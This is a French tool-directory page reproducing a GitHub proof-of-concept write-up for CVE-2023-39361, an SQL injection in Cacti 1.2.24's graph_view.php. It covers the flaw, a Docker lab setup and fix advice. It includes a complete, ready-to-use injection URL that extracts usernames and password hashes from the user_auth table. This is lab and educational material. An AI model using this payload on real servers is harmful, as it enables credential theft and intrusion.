Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-39361 — Exploit de preuve de concept pour l'injection SQL dans Cacti 1.2.24 via graph_view.php menant à une exécution de code à distance, avec une configuration de laboratoire basée sur Docker et des exemples détaillés de payload. | Kitploit
Outils/GitHubGitHub/chodeokcheol/cve-2023-39361
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

Exploit de preuve de concept pour l'injection SQL dans Cacti 1.2.24 via graph_view.php menant à une exécution de code à distance, avec une configuration de laboratoire basée sur Docker et des exemples détaillés de payload.

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Cacti graph_view.php SQL Injection Leads to RCE [CVE-2023-39361]

[ WHS 3ème promotion ] - 남기찬_7342 (ChoDeokCheol)


Résumé

  • Une vulnérabilité existe dans la fonction grow_right_pane_tree du fichier graph_view.php sur le serveur Cacti 1.2.24.
  • Lorsque le paramètre action est défini sur tree_content, le paramètre rfilter contient une entrée utilisateur.
  • Le paramètre rfilter est validé via la fonction html_validate_tree_vars, mais cette validation vérifie uniquement s'il s'agit d'une expression régulière valide.
  • Finalement, la valeur de rfilter est insérée dans une requête SQL, permettant une injection de code.
  • Il est possible d'extraire des valeurs telles que id, username, etc. (utilisé dans ce PoC)

Prérequis

  • Vérifier l'installation et la version de Docker Compose avec docker-compose -v.
  • Préparer les composants Docker nécessaires à la configuration de CVE-2023-39361 (yml ou images, etc.)

Configuration et exécution de l'environnement

  • Utiliser vulhub/cacti/CVE-2023-39361/docker-compose.yml et entrypoint.sh.
  • Lancer docker compose up -d pour mettre en place l'environnement PoC. (image : cacti:1.2.24)
  • Construire le serveur Cacti sur l'adresse localhost 8080:80 comme défini dans le fichier yml. Configuration de l'environnement Docker PoC Déploiement du serveur Cacti

Preuve de concept (PoC) de la vulnérabilité

  • Cette vulnérabilité se produit lorsque, dans les paramètres d'authentification, un utilisateur normal (guest) est autorisé à consulter les graphiques.

  • Elle peut être vérifiée avec les paramètres suivants :

    • %20OR%20""="((" : code d'injection SQL typique. Force une condition vraie via OR.
    • %20UNION%20SELECT% : pour obtenir des résultats arbitraires souhaités.
    • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : demande les valeurs id#username#password.
    • (select%20user()),(select%20version()) : récupère l'utilisateur / la version de la base de données.
    • %23 : correspond à #, neutralisant ainsi la suite de la requête SQL.

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


Résultat

Exécution de Burp Suite et réponse On peut confirmer que la réponse correspond à la requête envoyée.


Conclusion

Les attaques par injection SQL se produisent principalement lors de l'interaction avec le serveur en acceptant des entrées utilisateur. Cette injection SQL a compromis la confidentialité interne de la base de données et a conduit à la fuite d'actifs.
Pour se prémunir contre cette injection SQL, on peut vérifier les valeurs de rfilter avec une liste blanche de base ou échapper les caractères spéciaux (", ', ;, ...). Ou bien utiliser une bibliothèque ORM comme Doctrine pour l'accès à la base de données.

Télécharger l’outil